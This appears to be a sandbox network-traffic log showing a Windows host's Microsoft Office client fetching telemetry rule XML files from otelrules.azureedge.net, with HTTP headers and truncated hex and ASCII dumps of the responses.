2024-10-11 18:30:13 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	59034	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:13 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:13 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:13 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d1a5e79c-201e-0085-37a3-1b34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183013Z-r154656d9bc25bv85eq198756g00000001wg00000000vace x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:13 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	59036	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:13 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:13 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:13 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: e0a8bc36-801e-00ac-722f-1afd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183013Z-1597f696844mk866hfzabd6qfn000000026000000000g4ah x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:13 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	59038	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:14 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:14 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:14 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 07ebf894-801e-008c-19d8-1a7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183014Z-r154656d9bcw8wfsu93rvvbgpc00000001k0000000003yk0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:14 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	59042	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:14 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:14 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:14 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 5de3abe8-501e-00a0-4033-1a9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183014Z-1597f696844b28npvxxwfummdg00000001yg000000019nye x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:14 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	59039	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:14 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:14 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:14 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: d70aead3-d01e-0049-0328-1ae7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183014Z-1597f696844mgqk65a7x24zwr800000001bg000000011n5b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:14 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	59041	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:14 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:14 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:14 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 7afec1f8-601e-000d-328c-152618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183014Z-r154656d9bckpfgl7fe14swubc0000000nyg00000000kqek x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:14 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	59040	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:14 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:14 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:14 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 0b793b20-c01e-00a2-5cad-1b2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183014Z-r154656d9bc9b22p5yc1zg6euw00000002ug00000000kxat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:14 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	59043	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:14 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:14 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:14 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 55d0322a-601e-0032-7e2f-1aeebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183014Z-1597f6968447j5lf3znmew1ya000000002a000000000x2hb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:14 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	59045	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:15 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:15 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:15 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 6ab73692-101e-000b-4504-1a5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183015Z-1597f696844mk866hfzabd6qfn000000025g00000000kchv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:15 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	59047	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:15 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:15 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:15 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 0ba71162-c01e-008e-4fcd-1b7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183015Z-r154656d9bc6kzfwvnn9vvz3c40000000bzg0000000171zc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:15 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	59044	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:15 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:15 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:15 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b764448c-501e-008c-4097-1bcd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183015Z-r154656d9bc5qmxtyvgyzcay0c0000000nx000000000nxuw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
